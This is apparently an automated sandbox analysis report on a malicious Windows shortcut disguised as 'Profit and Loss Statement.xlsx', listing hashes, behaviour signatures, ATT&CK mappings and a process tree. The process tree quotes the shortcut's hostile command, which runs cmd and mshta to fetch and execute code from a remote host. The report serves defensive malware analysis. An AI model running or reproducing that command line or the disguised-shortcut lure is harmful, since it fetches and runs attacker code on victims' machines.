Overview

overview

10

Static

static

Profit and...sx.lnk

windows7_x64

8

Profit and...sx.lnk

windows10_x64

10

Analysis

  • max time kernel
    1801s
  • max time network
    1814s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    22-10-2021 13:40

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General

  • Target

    Profit and Loss Statement.xlsx.lnk

  • Size

    22KB

  • MD5

    a0c1ca01548be7690f2976742f068e67

  • SHA1

    e8226dfbb2c055843dbd11547ed8697a1e1ae825

  • SHA256

    9d6fdb5344f64e059043980c5bb80e9c8986f1a5a62d7d7871144b388df65262

  • SHA512

    fc5419aa4cd05d0ced1bf83d90c8209659cfb27fe244ec4e901eb9873d65dbfeb15948ceefeacf009bc72ebca1d86d1e6a324eacbcbd525f58c9f8cdd0fddb0b

Score
10/10
googlephishing

Malware Config

Signatures

  • Detected google phishing page
    phishinggoogle
  • Blocklisted process makes network request 8 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Profit and Loss Statement.xlsx.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2192
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://share.stablemarket.org/Y5qbOQiIlBomxCjPRFzyiLSvyddx/P1xM4diDmKxL3I=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4436
      • C:\Windows\System32\mshta.exe
        C:\Windows\System32\mshta https://share.stablemarket.org/Y5qbOQiIlBomxCjPRFzyiLSvyddx/P1xM4diDmKxL3I=
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe" "https://docs.google.com/spreadsheets/d/1CTWarBPpx6kQjpevxr7qeQGPenjAR_7H/edit?usp=sharing&ouid=118006626630144401406&rtpof=true&sd=true"
          4⤵
            PID:3308
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 4416 -s 2680
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:656
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
        PID:3348
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2140
      • C:\Windows\system32\browser_broker.exe
        C:\Windows\system32\browser_broker.exe -Embedding
        1⤵
        • Modifies Internet Explorer settings
        PID:2640
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3092
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:2176
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:2084
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        PID:3940
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        PID:4216

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Privilege Escalation

      Defense Evasion

      Modify Registry

      1
      T1112

      Credential Access

      Discovery

      System Information Discovery

      1
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

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      Downloads

      • memory/3308-118-0x0000000000000000-mapping.dmp
        Download
      • memory/4416-116-0x0000000000000000-mapping.dmp
        Download
      • memory/4416-117-0x00000288C87F8000-0x00000288C8800000-memory.dmp
        Filesize

        32KB

        Download
      • memory/4436-115-0x0000000000000000-mapping.dmp
        Download